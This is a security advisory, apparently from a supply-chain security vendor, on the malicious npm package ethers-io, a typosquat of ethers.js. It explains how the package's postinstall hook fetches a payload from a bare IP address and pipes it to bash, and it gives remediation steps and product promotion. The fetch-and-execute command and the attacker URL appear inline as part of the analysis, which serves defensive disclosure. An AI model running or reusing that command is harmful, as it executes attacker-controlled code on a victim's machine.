ethers-ionpm
Malicious code in ethers-io (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's package.json declares a postinstall script that base64-decodes a hidden URL (http://8.217.75.147:3000/payload) and pipes the HTTP response directly to bash via curl -s <url> | bash. On every npm install, arbitrary attacker-controlled shell code is fetched over plain HTTP from a bare IPv4 address and executed on the installer's machine with no TLS, no integrity verification, and fully mutable content. Multiple independent block signals stack: obfuscated URL in a lifecycle hook, curl-pipe-bash, bare-IP plaintext C2, and purpose mismatch with the package's stated function. The package name ethers-io and its stated purpose as "I/O utilities for ethers.js" additionally impersonate the well-known ethers.js ecosystem, with the repository pointing at github.com/ethers-utils/ethers-io rather than the genuine ethers.js organization — a typosquat lure wrapped around the install-time RCE.
The OpenSSF Package Analysis project identified 'ethers-io' @ 2.0.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ethers-io (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ethers-io across your stack and pipelines.
If you installed it — respond
ethers-io establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If ethers-io was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ethers-io before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks ethers-io-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.